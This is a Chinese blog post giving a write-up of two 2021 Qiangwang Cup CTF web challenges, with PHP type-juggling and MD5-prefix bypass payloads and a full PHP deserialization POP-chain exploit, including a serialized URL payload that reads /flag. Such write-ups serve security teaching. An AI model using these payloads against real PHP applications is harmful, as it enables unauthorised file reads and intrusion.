2021强网杯

[强网先锋]寻宝

考点:1. php源码审计 2. 脚本的编写

给了我们两个信息,分边对应2个KEY,得到2个KEY后就可以获得flag了

首先我们先看KEY1

KEY1

需要绕过5个if就可以获得flag

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


function filter($string){
        $filter_word = array('php','flag','index','KeY1lhv','source','key','eval','echo','\$','\(','\.','num','html','\/','\,','\'','0000000');
        $filter_phrase= '/'.implode('|',$filter_word).'/';
        return preg_replace($filter_phrase,'',$string);
    }


if($ppp){
    unset($ppp);
}
$ppp['number1'] = "1";
$ppp['number2'] = "1";
$ppp['nunber3'] = "1";
$ppp['number4'] = '1';
$ppp['number5'] = '1';

extract($_POST);

//$num1 = $ppp['number1'];
$num1 = filter($ppp['number1']);        
$num2 = filter($ppp['number2']);        
$num3 = filter($ppp['number3']);        
$num4 = filter($ppp['number4']);
$num5 = filter($ppp['number5']);
var_dump($ppp);
echo "<br>";
var_dump($_POST);
if(isset($num1) && is_numeric($num1)){
    die("非数字");
}

else{
  
    if($num1 > 1024){
    echo "第一层";
        if(isset($num2) && strlen($num2) <= 4 && intval($num2 + 1) > 500000){
            echo "第二层";
            if(isset($num3) && '4bf21cd' === substr(md5($num3),0,7)){
                echo "第三层";
                if(!($num4 < 0)&&($num4 == 0)&&($num4 <= 0)&&(strlen($num4) > 6)&&(strlen($num4) < 8)&&isset($num4) ){
                    echo "第四层";
                    if(!isset($num5)||(strlen($num5)==0)) die("no");
                    $b=json_decode(@$num5);
                        if($y = $b === NULL){
                                if($y === true){
                                    echo "第五层";
                                    include 'KeY1lhv.php';
                                    echo $KEY1;
                                }
                        }else{
                            die("no");
                        }
                }else{
                    die("no");
                }
            }else{
                die("no");
            }
        }else{
            die("no");
        }
    }else{
        die("no111");
    }
}

第2个和第4个用科学计数法就可以

第1个和第5个使用弱类型就可以

第3个md5碰撞脚本如下:

import hashlib

payload = 0
md5_value = "4bf21cd"
while True:
    md5_val = hashlib.md5(str(payload).encode('ascii')).hexdigest()
    print(payload)
    if md5_val[:7] == md5_value:
        print(payload)
    payload += 1

payload:

ppp[number1]=1234a&ppp[number2]=9e9&ppp[number3]=61823470&ppp[number4]=0e99999&ppp[number5]=1a

KEY2

import os
import docx

os.chdir('D:/phpstudy_pro/WWW/five_month')
dires = os.listdir()
for dirss in dires:
    os.chdir(f'D:/phpstudy_pro/WWW/five_month/{dirss}')
    dirs = os.listdir()
    for di in dirs:
        os.chdir(f'D:/phpstudy_pro/WWW/five_month/{dirss}/{di}')
        ds = os.listdir()
        for d in ds:
            doc = docx.Document(d)
            for do in doc.paragraphs:
                if "KEY2" in do.text:
                    print(f'five_month/{dirss}/{di}/{d}')
                    print(do.text)
                    break

image-20210615135023570

PS:我写的这个脚本绕过.png图片,所以先用everything把图片提取出去在运行脚本就可以了,记得改路径!

[强网先锋]赌徒

考点: 构造pop链

进去就一句话

I think you need /etc/hint . Before this you need to see the source code

看了看源码,看了看请求和响应,啥也没看出来

老规矩,上dirsearch

image-20210614183247758

一个www.zip的备份文件,下载下来后里面有一个index.php的源码文件,源码如下:

<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);


class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';

    public function __construct(){
        echo "I think you need /etc/hint . Before this you need to see the source code";
    }

    public function _sayhello(){
        echo $this->name;
        return 'ok';
    }

    public function __wakeup(){
        echo "hi";
        $this->_sayhello();
    }
    public function __get($cc){
        echo "give you flag : ".$this->flag;
        return ;
    }
}

class Info
{
    private $phonenumber=123123;
    public $promise='I do';

    public function __construct(){
        $this->promise='I will not !!!!';
        return $this->promise;
    }

    public function __toString(){
        return $this->file['filename']->ffiillee['ffiilleennaammee'];
    }
}

class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';

    public function __get($name){
        $function = $this->a;
        return $function();
    }

    public function Get_hint($file){
        $hint=base64_encode(file_get_contents($file));
        echo $hint;
        return ;
    }

    public function __invoke(){
        $content = $this->Get_hint($this->filename);
        echo $content;
    }
}

if(isset($_GET['hello'])){
    unserialize($_GET['hello']);
}else{
    $hi = new  Start();
}

?>

从代码中很容易的可以看出,给'hello'传参,然后进行序列化攻击。

现在问题来了,代码中一共有3个类,我们需要从哪一个类开始下手呢?

通过对魔法方法和序列化的的学习,我们只能从Start这个类开始下手,当对这个该类进行反序列化时,会自动执行wakeup()方法,而这3个类中只有Start类存在这个方法

再继续观察发现,我们最终需要达到的目的地是Room类的Get_hint()方法

构造payload:

<?php
include "index.php";
$a = new Start();			// __wakeup()进入,
$a->name = new Info();		// Info的__toString()进入
$a->name->file["filename"] = new Room();	// Room的__get()进入
$a->name->file["filename"]->a= new Room();	// Room的__invoke()进入
echo "<br>";
echo serialize($a);
?>

image-20210614193035543

http://eci-2zechgvn691am5t4itp6.cloudeci1.ichunqiu.com/?hello=O:5:"Start":2:{s:4:"name";O:4:"Info":3:{s:17:"%00Info%00phonenumber";i:123123;s:7:"promise";s:15:"I will not !!!!";s:4:"file";a:1:{s:8:"filename";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";s:0:"";}}}}s:4:"flag";s:33:"syst3m("cat 127.0.0.1/etc/hint");";}

PS:利用了魔法方法的特性成功进行了序列化攻击,实现了在一个类跳转到另一个类并执行方法!

QQ图片20210614194249

base64解密得:

image-20210614194412336

flag

posted @ 2023-01-08 23:06  seizer-zyx  阅读(26)  评论(0编辑  收藏  举报